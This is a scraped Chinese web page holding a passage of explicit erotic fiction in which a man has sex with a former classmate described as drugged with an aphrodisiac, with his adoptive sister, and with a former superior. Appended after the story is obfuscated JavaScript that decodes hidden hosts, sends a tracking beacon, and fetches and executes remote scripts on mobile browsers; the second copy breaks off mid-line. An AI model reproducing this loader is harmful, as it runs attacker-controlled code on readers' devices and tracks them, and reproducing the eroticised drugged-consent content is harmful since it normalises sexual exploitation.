“唔~~给我,给我……。”方雪的呻吟跟肉棍上传来的快感将陈潇从思绪中 脱出,看着方雪那清丽中带着妩媚的浪态,感受着她柔软的小手在肉棍上的撸动, 以及已经完全贴上了湿漉漉蜜穴的巨龟,陈潇所有的负面情绪在方雪的挑逗下变 成了一种忍不住的狂躁。

“骚货!贱婊子!欠人干的贱货!”陈潇大骂着,自己也不知道是骂方雪、 小慧,还是在骂王刚,甚或自己,他猛地分开了方雪夹在自己腰间的美腿,身体 半蹲而起,随着龟头刮起一滩骚水离开肉穴,黑乎乎的阴毛之间,一抹嫩肉出现 在了他的眼中。

陈潇伸出舌头舔了一下干涩的嘴唇,趁着方雪发愣的功夫,头部猛地压到了 散发着淡淡淫水味的源头之处,呈M 型大大分开的美腿之间,分开方雪已经湿漉 不堪的肉唇,仔细看去,真的很美,浓浓的阴毛下是一片肥美的雪白,并没有阴 毛的常年覆盖而有所变色,肥美之间自然就是那让世间所有男人疯狂的娇嫩之地, 又红又嫩。

五、激情(二)

不由自主的伸出的舌头,勾向那粒娇小可爱的柔嫩阴蒂,缠卷、轻舔,他又 用舌头狂野地舔着雨萱那柔软阴毛覆盖下的鼓鼓的阴户,舔舐了一阵,他的舌头 又滑入她那嫣红娇嫩的湿濡玉沟,舌头不停伸入穴内左右刮个不停,每刮一道, 源源不绝的浪水又一波来袭,在他的牙齿轻轻咬住那粒凸起的肉芽时,方雪终于 忍不住了。

“潇~~啊~~不要再逗我了,啊~~我是~~啊~~是贱货,唔~~我是你的欠干的婊 子,啊~~给我,我要你的大鸡巴,操我……。”方雪似是在陈潇的辱骂跟挑逗中 越过了某个临界点,有些竭斯底里的大喊着,她紧紧的抓住陈潇的头发,双腿紧 紧勾住他的头,连连呻吟,不住的打着冷战,一股温热暖流又从她阴道深处潮涌 而出。

“操!果然是贱货!”陈潇擦了一下嘴唇脸上湿答答的淫水,挺着粗大的肉 棍,兴奋的坐到了美丽女同学的头部,“先给我吃鸡巴!”

方雪俏脸红红的,一副羞耻难耐的样子,但看着眼前让自己害怕又无比渴望 的东西,却本能的捉在了手中,陈潇屁股一挺,龟头就抵在了方雪的唇上,挺动 了几下,方雪的小嘴被顶到了极点,她的努力有些痛苦的张开着,以至于红唇都 成了一条红线贴在陈潇龟头上,却还是没有进去。

“干!这么麻烦!”陈潇恼怒吼道。

“你~~你不要急……。”方雪吐出了口中的大半个龟头,大喘了几口气,灵 活的香舌从口中吐出,开始在陈潇的巨龟上来回打转,那灵活的碰触挑逗确让陈 潇爽快异常,尤其是居高临下看着当年的女神被自己骑在头上,像个最淫荡的娼 妇一般给自己舔着鸡巴,那漂亮的脸蛋,打转的红舌,贴着鸡巴杆上下摩擦的香 唇……,只是视觉上跟心理上的冲击就让陈潇爽的要爆开一般。

“嗷~~停,停下……。”陈潇一声低吼,将肉棍从方雪的小手中抽出,他的 肉棍在方雪的舔弄下已经极度膨胀发热,差点忍不住就这样喷射到美人儿的脸上, 这可不是他想要的,他要是的是今天从心里跟身体上完全征服她,用所能想到的 王刚那变态在小慧身上做出的姿势,狠狠的干她,操她!

在方雪的配合下,男上女下,陈潇很是轻易的再次将龟头顶在了曾经千万人 垂涎的女神那柔软紧闭肉缝上,他一手按住她的小腹,另一只手的中指食指掰开 了她娇嫩柔滑的阴唇,龟头顶住她细小紧合的阴道口,又用手指将那娇小粉嫩的 嫣红阴道口扩大一点,然后肉棒朝前用力一压……。

“哎~~啊~~轻点,轻点,啊~~太大了,好长,好粗,啊……。”巨大的肉棍 破体而入,硕大粗长的巨棒瞬间没入了三分之二,虽然两人用了传统的最好进入 的方式,虽然方雪下面已经润滑的不能再润滑,但在陈潇的巨大之下还是忍不住 哀唿起来。

“喜欢~~嗯~~喜欢吗?”陈潇也被那湿热的紧窄刺激的浑身颤抖,前倾身体, 双手攥拳压在方雪身体两边,看着她那张熟悉而又陌生的,似是欢喜又似是难以 忍受的俏脸,舒爽的同时不仅叹息,时间果然是把杀猪刀,一切在这把锋利的刀 下都会被剔骨去肉,露出最本质的东西,即便是女神也不能免俗,当然,也包括 自己。

“嗯~~啊~~噢……。”方雪娇羞无限的呻吟着,根本没有去看陈潇那复杂的 目光,眼睛紧紧盯在微微弯起的身体下面,两人生殖器的交合处,嫣红玉润的娇 小阴道口上一根硕大的肉棍正静静的停在那里,还停留了一截露在外面,她感受 着身体中从未有过的充实,有些不敢相信,那根东西竟然真的插了进去。

随着时间的推移,方雪慢慢适应,阴道中开始骚样起来,她的喘息越来越急 促,纤纤手臂环住陈潇脖颈,一边吮吸着他的嘴唇一边轻哼,挂在陈潇屁股上的 小腿下压的同时,性感的屁股用力上挺。

看到方雪这副浪态,陈潇嘿嘿一笑,开始在她柔若无骨、雪白美丽的娇软玉 体上抽插、挺动起来,粗大异常的肉棒闪着狰狞的光泽,在方雪那浓密的阴毛丛 中进进出出,保持这样的姿势干了七八分钟,,陈潇左手托住方雪的屁股,右手 揽住她的粉背纤腰,猛地站了起来,同时肉棍狠狠一挺,一直没有进去的那三分 之一也完全没入,两人的生殖器完完全全的贴在了一起。

“啊~~不行~~啊~~太深了,天呐,你插进人家子宫了,啊啊~~停下……。”

“浪叫什么,刚才你公公不也插进你子宫了吗?你男朋友王刚的鸡巴也不短, 我就不信他没干进去,小骚货,还装纯,屁眼都被操了吧!”陈潇边说边抽插, 同时俯身低头,含住了那一粒娇小玲珑、因情动而充血勃起的硬挺乳头。

“啊~~你~~你怎么知道的,唔~~要死了,你的太大了啊……。”春意荡漾的 娇喘呻吟、浪声啼叫被方雪毫无保留的叫喊出来,下面被一根从未尝试过的巨棒 猛烈操干,而这人又是自己曾经熟悉的同学,敏感的奶头也被噙住,加上那万恶 的淫药,这样的狂风骤雨让她完全沉沦,沉溺在肉搏的快感之中。

“我~~你说我怎么知道,吼~~你的那个混蛋男人去找的,嗯~~那个老混蛋口 中的小情人,就是~~就是我的新婚妻子……。”陈潇怒吼猛干,他那根巨大无比 的肉棒在狭窄的阴道内的抽插越来越猛,各种刺激让他越来越粗野地进入她体内, 越来越用力地深顶、狠插方雪那紧窄、狭小的阴道。

“那~~啊~~那这样真是,啊~~恶有恶报,他干你的新婚妻子,你干他的,嗷 ~~要死了,又要来了……。”陷入肉欲中的方雪娇啼婉转、妩媚呻吟,肉穴狠狠 的夹唆颤抖,一股股浪水随着肉棍凶猛的进出而被带出。

“吼~~就是这样,我今天就要,嗯~~就要干死你!”陈潇说着将方雪反身抱 住,让她面朝两人结婚照的方向,再次将狰狞的肉棍狠狠干到她的蜜壶之中。

“唔~~你太凶蛮了,一点也不像,啊~~不像以前的那个陈潇,不过,啊~~我 喜欢,喜欢现在的你,操我,操死我吧,嗷~~你如果当时这样,啊~~这样对我, 我今天,早就是,啊~~早就是你的女人了,你又何苦对着我的,啊~~我的婚照干 我……。”

“哼!你不觉得这样,哦~~更刺激吗!总算知道那些家伙为什么在外面找女 人,古人说的果然不错,妻不如妾妾不如偷,偷不如偷不着,我这算是~~嗯~~以 前是偷不着,现在我这算是偷了……。”

“你真的变了呢,当着人家的老公干人家,还能~~唔~~还能背出古人,要是 以前有现在一半的胆子……。”

看着转过头,咯咯浪笑着跟自己索吻的方雪,陈潇一时间有些迷煳了,她真 的是被催情药物控制才成这样子的吗?一点都不像啊!不过这想法一瞬即逝,他 现在没时间去想这个。

“我~~我暗恋你,你~~你知道?”陈潇狠狠的挺了几下。

“你以为,嗷~~你以为女孩子都跟你们那么迟钝呢,早看你的眼神不对了, 谁知道,啊~~生的太漂亮,人太冷淡也不是什么好事,那些男孩子,只是被我吓 一下就退缩了,尤其是你,连说句话都不敢,其实,其实你或者他们再主动一点, 人家,啊~~人家也就答应了,怎么至于,至于被……。”

虽然眼睛很是迷离,但是说到这里,方雪还是说不下去了,美眸中闪过一丝 悲伤,似是想起了什么痛苦的往事,却又似有着一点藏的很深的莫名情绪,她忽 然从陈潇怀中挣出,趴在床上,像是母狗一样淫荡的摇着雪白浑圆的屁股,“陈 潇,来~~干我,狠狠的干我,就像,唔~~就像王刚操你家,啊……。”

还没说完,陈潇已经跨骑到了她高挺的屁股上,肉棒狠狠地、凶猛地再次进 入了她的身体,陈潇此刻才不会去管其他,因为女神已经不再是女神,而他也不 是那个又穷又没胆的小子,他狠狠的操着,操着这个全身赤裸,高高翘着屁股, 似乎只要是男人就能进入她的肉洞的母狗似的女同学,曾经的女神。

一个字,爽,两个字很爽,三个字,非常爽!

六、回家的郁闷

挤刮、摩擦阴道娇滑肉壁所带来的酥麻快感让方雪轻颤不已,身体不停的扭 动着,迎合着,几次转头,陈潇都能看到她的眼中那无法掩饰的兴奋。

“嗯~~喔~~真爽啊,小穴真是又热又紧,小贱货,当初我要是上了你,今天, 嗯~~今天岂不是要带一头绿……。”,陈潇说着猛地停下了,忽然发现,自己现 在带的绿帽子真的不少了,不过他心中又自我安慰起来,最少,小慧的第一次是 他的。

“不就是绿帽子嘛,啊~~你现在难道就~~啊~~轻点嘛~~啊~~哎~~啊啊……。” 乳房忽然被用力的揉捏,方雪再说不下去,下体被阴茎深深的插进体内深处,磨 擦着子宫颈口跟阴蒂,敏感的耻丘被挤压着,持续的酥酥麻麻的阴痒感加上刚才 陈潇狠猛地一捏,让她忍不住要喷潮而出,一阵断断续续的呻吟过后,,方雪的 阴道忽然一阵猛烈的紧缩痉挛,用力的夹紧吸唆陈潇的肉棍,同时一股湿热淋到 了阴道深处的龟头之上。

一股淡淡的腥臊味道传入陈潇鼻息,低头一看,一股湿热正从两人的交合处 淅淅沥沥的喷洒着,陈潇很快便意识到,这不是阴精,这是喷潮,女神被自己干 尿了!

这样刺激的场景加上那强烈的,几乎要把肉棍夹断的穴肉,陈潇哪里还忍的 住,低吼一声,浓浓的精液喷洒而出,一股股凶猛的射到方雪的子宫之中,在方 雪的高声浪叫声中,她又迎来了再一次的喷潮……

“陈潇,你~~你还喜欢我吗?”浑身瘫软如泥的方雪趴在陈潇赤裸的胸膛上, 纤白的手指在他胸口画着圈。

陈潇想了一会,如实说道,“我不知道,当时听到你要结婚,心里很疼,但 我不可能阻止,我有一个爱我,而且我也深爱的女人,再说,现在我已经结婚了!”

“那就是说,你还喜欢我,陈潇,要不然,我~~我离婚,跟你结婚吧!”

“啊~ !这个肯定不行,我已经结婚了!”陈潇吓了一跳,他想征服方雪的 身体,就像当初王刚用他那高超的技术征服小慧身体一样,但他可没想过要跟方 雪结婚,跟她结婚,小慧怎么办?

“哼!说的好听,她爱你,你也爱她!她爱你,她会跟别的男人上床吗?你 爱她,你会跟别的女人乱搞吗?虚伪!”方雪鄙视的看了陈潇一眼,忽然咯咯一 笑,“不过,我得承认,你的思想真的很前卫,都听到自己女人再被别的男人搞 了,,竟然还有心思玩弄你的老同学,陈潇,跟我说说你跟你女朋友,跟王刚你 们三个之间的事吧,呵呵,一定很刺激。”

“乱说!哪里有什么事!”陈潇骚的一张脸通红,却也找不出什么反驳的话。

“就说你虚伪了嘛!哼!快点提裤子走人,老东西要回来了!”方雪瞪了陈 潇一眼。

“这个~~你这样,我~~我这个,不会被他发现什么吧?”陈潇一边穿衣服一 边说道,心里不免有些惴惴,毕竟老家伙是通玉县的副县长,而且是现管,要对 付自己这个刚刚上来的芝麻绿豆大小的副科,估计不是什么难事。

“都是你,长这么大根东西,下面都捣肿了!”方雪分开腿,扒开小穴,看 着那一片黄白的狼藉之中,红肿的阴唇,羞恼的说道。

“那怎么办?”穿戴整齐的陈潇站在床边,眼睛直直的盯着方雪的下面。

“还能怎么办!”看着陈潇那迷恋的样子,方雪羞怯中还有微微有些高兴起 来,努力的站起身子,一边推陈潇一边说道,“放心好了,今晚上我不让他进来!”

“那他不会……。”

“不会的,他要敢硬来,我就给王刚打电话,要是离婚,那正好,我就去跟 你要饭吃,嘻嘻……。”

“陈潇,我真的爱上你了呢……。”就在陈潇转身离开的时候,身后再次响 起方雪的声音,陈潇落荒而逃。

走在昏黄的路灯下,陈潇心里有些纠结,当然,也有些欣喜,他真没想到第 一次喝醉就出现这种事情,但要不是恰巧碰上方雪,自己又怎么知道那天杀的混 蛋王刚竟然趁自己刚走就去了大陈乡,又怎么能干上方雪这个自己心中一直高不 可攀的女神,最重要的是,她还是王刚的老婆!

看了看时间,已经夜里三点,陈潇真有现在就飞回大陈乡的想法,看看自己 的小慧是不是真的跟王刚那家伙……。

“赚钱,我要赚钱,我要有大哥大,我要有汽车……。”陈潇紧紧攥着拳头, 第一次觉得自己是如此强烈的渴望金钱。

第二天清晨,发现陈潇回家,小小的院落中,自然又是一阵欢声笑语。

给小慧学校传达室打了个电话,近十分钟才接到她的回电,声音有些疲累, 有点沙哑,陈潇心里更加不是味道,本打算趁着不多的空闲时间回去看看,但美 美那幽怨的目光,加上一家人知道自己调回县里,而且荣升副科一事,怎么可能 让陈潇离开。

一直到中午,家里的电话响起,陈潇才从美美性感的裸体上醒来,站在床前 抖了抖黏煳煳,软塌塌的肉棍,美美魅惑的侧身卧起,属于少女的丰满轻轻抖动 着,她嘴角微微一扯,狐狸般的小尖脸露出一丝荡意十足的媚笑,推开陈潇正在 提内裤的手,一把扯住了他的卵蛋。

“我给你弄干净!”

“啊?啊!嗷……。”陈潇也不知是痛苦还是舒爽,被小美人儿扯着卵蛋扯 到了床边。

紧接着,美美调皮一笑,厚实性感的唇部微张,啾的一声,软绵绵、脏兮兮 的小陈潇就被美美吃到了嘴里,灵活的舌头不住的挑逗着陈潇的敏感地带。

“啊~~嗷~~,你这只小骚狐狸,简直,啊~~要命了……。”陈潇按着美美的 长发低吼着,完全无视了不住响起的铃声。

“活该!谁让你结婚就不回家,人家去找你都躲着,哼!我就是狐狸精,就 要榨干你,看你以后还敢不敢!”美美抬头瞪了陈潇一眼,随着陈潇肉棍的不断 胀大,说话越来越呜咽,“大坏蛋,你还~~唔~~敢不敢,敢不~~哦~~不回家,这 么大跟东西,还是~~啊哦~~软着好吃,大了,嗯~~好难看,好难吃……。”

看着美美吐出了自己肉棍,仔细清理干净,又舔向卵蛋,那种乱伦的快感跟 罪恶感让陈潇不知该如何结束这段不伦之恋。

“美美,我们,我们虽然不是亲兄妹,但是~~爸爸可当你是亲生的,妈妈也 拿我当亲生的看,这事要是被他们知道了,你~~你知道会有什么后果,再说,你 也是有男朋友了,嗷~~还有娜娜,你就不怕……。”

“真是虚伪!”美美吐出了陈潇的卵蛋,红着脸娇声道,“你要不喜欢,干 嘛跟我~~跟我上床,还站在这里,让我,让我给你舔这臭东西……。”

“不到十二个小时,已经有两个跟自己有亲密接触的女孩这样说自己,难道 我真的是虚伪吗?”陈潇愣愣的看着正把玩自己肉棍的美美,“好像,真的是, 虚伪呢!”

一时间,陈潇也是羞恼异常,用力挣开美美的小手,提上内裤就去了客厅, 电话还在不停的响着,拿起电话,里面响起了一个熟悉而气恼的声音,“陈潇, 你去哪里了,怎么到现在还不回!”

“啊!小仙姐,我,我回家了,好多天没有回家,今天好不容易,嗷……。”

“你怎么了?”

“啊~~咳~~咳咳~~没~~没什么,嗯~~被小狗咬了一口……。”陈潇侧了侧身 子,看着身边满是馨香,雪白如玉的赤裸美人儿,看着她气恼的迷人样儿,还有 那双折腾着自己肉棍的雪白小手,一时间不知道该说什么。

“哦!有没有破皮,要不要去医院打针?”左小仙关切的问道。

“啊!这个~~嗯~~不用,小狗牙口还没张开呢,小仙姐,你找我什么事?” 陈潇龇牙咧嘴的问道。

“小坏蛋,你说呢。”左小仙有些诱惑的撒娇道,“昨晚李大元搞的姐姐不 上不下,以后你~~你回大陈乡的时间也少了,今天下午李大元要去跑跑项目,你 也不知道,也不知道过来陪陪姐姐,我……。”

“你才是小狗!死陈潇!”虽然这是自己的便宜哥哥,但听到别的女人要占 他便宜,旁边的美美终于忍不下去了,故意大声说道。

一时间,满室皆静。

对这个刁蛮任性不讲理的妹妹,陈潇也是头疼之极,平日还能忍着,但在领 导面前丢自己面子,这怎么可以。

狠狠将美美扭过身体,将她压在沙发上,肉棍对准后面依然狼藉的玉洞,狠 狠一挺,随着美美一声尖叫,整根肉棍全根没入。

七、辛苦老农

陈潇挺动了几下,这才想起,好像左小仙现在已经不是自己领导了。

心头猛然生出一阵冷汗,正因为现在不是自己领导,才更加不能怠慢,如果 传出去……,更何况,从某种意义上说,那是自己的半个女人。

“咳~~小仙姐,这是我妹妹,嗯~~美美,是啊!你见过的,唉~~太调皮,就 是欠揍,啊~~什么?正打她呢!”陈潇在美美屁股上抽了两巴掌,肉棍更是狠狠 的插了几下,小腹拍打在丰满的翘臀上,啪啪作响。

又说了几句,陈潇很是郁闷的将电话递到了美美耳边,轻声道,“注意点啊, 不要露馅!”

“告诉我,她是谁!”美美被陈潇压在身下,动也动不了,扭过小脸娇喘吁 吁的说道。

“就是左小仙,你见过的啊!我的老领导,我婚礼上去过的!”陈潇忙说道。

“啊!就是那个,总是冷冰冰的那个?”美美很惊讶的看着他,说着接过了 陈潇手中的电话。

“对,就是她!要没有她,我现在还是一个小小的乡政府办事员!”陈潇郑 重说道。

“哼!早就觉得你们俩有问题,果然是这样!”被干的一脸舒爽的美美皱了 皱瑶鼻,随后嘻嘻笑道,“竟然敢在小慧嫂嫂的眼皮底下跟别的女人偷情,哥哥 你还真是~~哎呀~~轻一点……。”

“别瞎说了,快点接!”

女人果然是天生的演员,在接过陈潇捂着的电话时,美美俏脸上的舒爽瞬间 变成了一副楚楚可怜、泫然欲泣的样子,因为不堪身后肉棍的伐挞而发出的哼哼 唧唧的声音也化作了抽泣声,“呜~~小仙姐姐,我~~唔~~我是美美,你~~啊~~你 一定要教训陈潇,他打我……。”

“嗯~~就是,他昨天喝了那么多,我说了他几句而已,啊~~他还打我,呜呜 ~~”

“在家里呢,嗯~~小仙姐姐,你还没来过吧,啊~~呜呜~~有空来玩,啊~~哥 哥,我不敢了,再也不敢了……。”

看着美美趴伏的动人娇态,听着她‘哽咽’的言语,陈潇耸动的更加激烈, 粗大的肉棍在奔涌着浪水的红嫩穴口中疯狂进出,小巧的阴户因为巨棍的挤压不 断变形。

还有小腹拍打在浑圆的翘臀上发出的啪啪声,只听声音,倒是真有些在打人 的感觉。

两人又说了几句,美美直接将电话扣上,转过头妩媚的看着陈潇,“坏蛋哥 哥,你~~啊~~你快点吧,嗯~~还有一个,啊~~在等着你缴公粮呢!”

“干!还缴公粮,我成什么了,被你们这些地主婆欺负的老农吗!”

“就是~~啊~~怎么,你不愿意?那~~哦~~那我找别人,哎呀~~我不敢了,我 ~~啊~~小仙姐姐说她在酒店等着你,我特别能理解她的心情,所以,啊……。”

陈潇知道今天是非去不可的,开始专心对付起了身前又骚又美的妹妹,操干 了上百次后,他把美美翻过身,将两条玉腿举起来,曲到她胸前,向两边张开, 这个姿势使她的小穴完全向上而且张开着,目光所致,美不胜收。

一脚抬起踩在沙发上,将直挺如铁的阳具用手握住,乌亮的龟头再次顶在狼 藉不堪的肉瓣中心,浑圆的胀起在肉沟中浅浅的上下摩擦几下,稍一停顿,,立 刻齐根而入,美美身子轻颤,咿咿呀呀的浪叫了起来,身体开始左右扭动,双腿 开始配合着猛夹,但陈潇的雄腰正压在她的胯间,她的双腿夹了几下就在肉棍猛 烈的操干下崩溃了。

陈潇摇动着大肉棒,在她的蜜穴里搅动抽插,美美的叫声更加惨烈,本就已 经如泉涌的蜜穴里,更是溢出了大量的淫汁,随着陈潇肉棍的抽插一蓬蓬被带出, 泼洒在沙发褥套之上,少女雪白的肌肤也在激烈的性爱中变成粉红,两个翘挺圆 滑的大奶随着啪啪声旋转摇摆,就这样干了几百下后,美美全身扭曲,绷得紧紧, 两只雪白的玉腿使劲地搓在陈潇大腿上。

干到兴奋处,陈潇直接将身体的重量完全压在了美美身上,双手探下捧着她 的两个屁股蛋,然后扭动着粗腰,疯狂的挺动肉棍,他那支特大号的鸡巴像马达 一般进出如飞,更是不时按着顺逆时针的方向左右扭转,弄得美美那小穴口歪来 歪去,里面的搅动幅度之大更不必多说。

“要死了,啊~~哥哥,美美要被你干死了,小穴要干裂了,不要~~不要来了, 啊~~我,我又要……。”美美被干的死去活来,大声浪叫,那娇嗲的浪态看的陈 潇也兴奋到了极点,尤其是配上那裹着肉棍不住抽动的穴肉,陈潇不管不顾开始 了激烈的冲刺。

再次高潮后的美美没有了一丝力气,小小嘴巴张得开开,小穴任陈潇乱插, 美腿也无力的挂在陈潇腰间,随着他的冲刺而在空中晃动,随着她又一次攀上高 潮的瞬间,陈潇最后用尽力起把肉棍插到她小穴的最深处,一股股阳精喷涌而出。

陈潇觉得自己现在真的很像是那些辛苦开垦田地的农民伯伯,前一个小时还 趴在美美的肚皮上缴公粮,现在已经趴在另一个小白羊上摇动屁股,看着满面潮 红兴致盎然的摆动着玉乳美臀的左小仙,陈潇觉得自己早晚有天要死在女人肚皮 上。

“这可不行啊!我要是挂了,小慧岂不是白白便宜别的男人了?还有美美、 左小仙、方雪、娜娜,咦!我怎么会想到娜娜?”陈潇一边想一边耸动身体,身 下,左小仙的肌肤雪白中透着红润,高耸坚挺的乳房是那么大,乳晕上两颗淡褐 色凸起生机勃勃,平坦而纤细的腹部,浑圆肥美的股部,再加上一双曲线柔美的 腿,真的很美!但此刻的他却完全没有了当初的激情。

在经历了三次高潮后,小仙姐姐终于满足了,陈潇也长吁一口气,已经贫困 如斯的老农交上了他已经为数不多的稀薄公粮。

把玩着凝脂似的美乳,陈潇有些疲惫的看了左小仙一眼,“满足了?我的大 领导!”

“嗯!”左小仙轻轻点头,像慵懒的小猫一样趴在陈潇怀中一动不动,过了 一会儿开口说道,“阿潇,说真的,姐姐一点都不想你调到城里,就想在大陈乡 跟小慧一起守着你,一辈子!”

陈潇叹口气,看着左小仙那张带着无限眷恋的俏脸,一时间不知道该说什么。

“当然,我知道这是不可能的,你就像凤凰,不可能窝在大陈乡那小窝窝里, 但小慧能跟着你,姐姐却……。”

想起跟左小仙的一幕幕,陈潇心里也有些发酸,说不感动那是假的,故作轻 松笑道,“小仙姐你可以经常来出差嘛!”

左小仙没有接他的话,忽然说道,“陈潇,自从你结婚那次过后,为什么老 躲着我,你是不是以为李书记跟小慧的事情,是~~是我搭的线?”

“这~~这~~哪里有这回事,小仙姐,你想多了,就是,嗯~~工作有些忙……。” 陈潇说着说着说不下去了,大婚之夜玩乱交,自己美丽的妻子躺在领导胯下婉转 呻吟,虽然他不恨李大元,虽然他很看的开,但说心里没有一点芥蒂也是不可能 的。

“看吧!你就是这么想的。”左小仙一双大眼眨巴了几下,泪珠就汩汩滚了 下来,“开始我只是想让你跟李书记搞好关系,可后来,是你自己非要……。”

“没有,真没有,小仙姐,别这样好不好!”陈潇打断了她的话,手忙脚乱 的给她擦着眼泪,“我是有点不自在,但也不至于怪你,再说,小慧她,唉~~, 她就是那样一个女孩子,胆小,没主见,身体又那么敏感,这不,我还有事情要 拜托姐姐去做呢!”

“真的不怪我?”左小仙的眼泪瞬间止住了,露出一个大大的笑脸。

“不怪你!”陈潇郁闷的看了左小仙一眼,心说,说哭哭,说笑笑,真他妈 都是天生的演员。

“那好,以后我会经常来看你,你也要经常回去……。”左小仙边说边开始 扒拉陈潇那软塌塌湿漉漉的肉棍,弄了一会儿,见没有什么反应,有些失望的看 了看时间,“说吧!有什么事情要姐姐做的!”

“嗯!就是,这个……,唉!昨天,小慧以前的那个相好,王刚,去大陈乡 了,你知道,小慧什么都好,就是心软,估计现在两人已经……。”陈潇尴尬的 说道。

“这个不至于吧!我们才走了多长时间!”

“这谁知道呢,我就想让姐姐多看着小慧点,我这里也会尽快,等工作安定 下来,就把小慧调回县里,这期间别出什么事情。”

“呵呵,优秀的男人周围女人多,这漂亮的女人,周围惦记的苍蝇也不少呢, 跟姐姐说说,小慧是不是被王刚干了很多次了?你心里是怎么想的?”

“你不是都知道嘛!”

“可我就想听你说。”

“操!我看你是欠收拾!”陈潇恼羞成怒,也不管老农的存粮是不是够了, 猛地将左小仙掀了起来,大棒一挥,哀嚎声起。


上一篇:镜子的反面(35)

下一篇:夜场の截胡短篇


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new 